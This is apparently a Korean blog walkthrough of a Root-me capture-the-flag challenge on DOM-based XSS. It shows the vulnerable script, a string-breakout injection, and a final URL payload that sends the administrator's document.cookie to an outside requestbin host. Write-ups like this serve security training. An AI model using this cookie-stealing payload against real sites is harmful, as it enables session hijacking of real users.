ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • XSS DOM Based - Introduction
    Wargame/Root-me = Web - Client 2022. 11. 8. 21:55

    XSS DOM Based - Introduction

    0과 100사이 중 하나의 숫자를 입력한다.

     

        var random = Math.random() * (99);
        var number = '7';
        if(random == number) {
            document.getElementById('state').style.color = 'green';
            document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
        }
        else{
            document.getElementById('state').style.color = 'red';
            document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
        }

    random이 random()을 이용하고, 새로고침 시 random이 변하기 때문에 한 번에 맞추기는 거의 불가능하다.

     

    개발자 도구 console을 이용해

        var random = Math.random() * (99);
        var number = random;
        if(random == number) {
            document.getElementById('state').style.color = 'green';
            document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
        }
        else{
            document.getElementById('state').style.color = 'red';
            document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
        }

    number = random 으로 변경하면

    문제 해결과는 상관없는 것 같다.

     

    숫자를 입력하는 form을 살펴보면

    GET 방식을 사용함을 알 수 있다.

     

    XSS를 테스트 하기 위해

    url창에 "http://challenge01.root-me.org/web-client/ch32/index.php?number=<script>alert(1)</script>" 입력해보면

    스크립트문이 동작하지 않는다.

     

    페이지 소스를 보면

    <, >를 필터링하는 것을 알 수 있는데, number에 입력한 값이 들어가는 것을 이용하여

    '; alert(1);// 를 입력하면

    alert(1)이 실행되게 된다.

    // 는 뒤를 주석처리한다.

     

    이를 이용해 관리자의 쿠키를 탈취하면된다.

    contact를 보면

    url을 제출할 수 있다.

    관리자가 url에 접근하면 쿠키를 탈취할 수 있게된다.

     

    스크립트 문이 Main에서 동작하기 때문에

    http://challenge01.root-me.org/web-client/ch32/index.php?number=';location.href="//requestbin.io/1qy6a8j1?cookie="+document.cookie;//

    제출하면

     

    관리자의 쿠키를 탈취할 수 있다.

    'Wargame > Root-me = Web - Client' 카테고리의 다른 글

    XSS DOM Based - Filters Bypass  (0) 2022.11.14
    XSS - Stored 2  (0) 2022.11.09
    <Root-me> Install files  (0) 2022.01.05
    <Root-me> XSS - Stored 1  (0) 2022.01.04
    <Root-me> CSRF - 0 protection  (0) 2021.12.24
Designed by Tistory.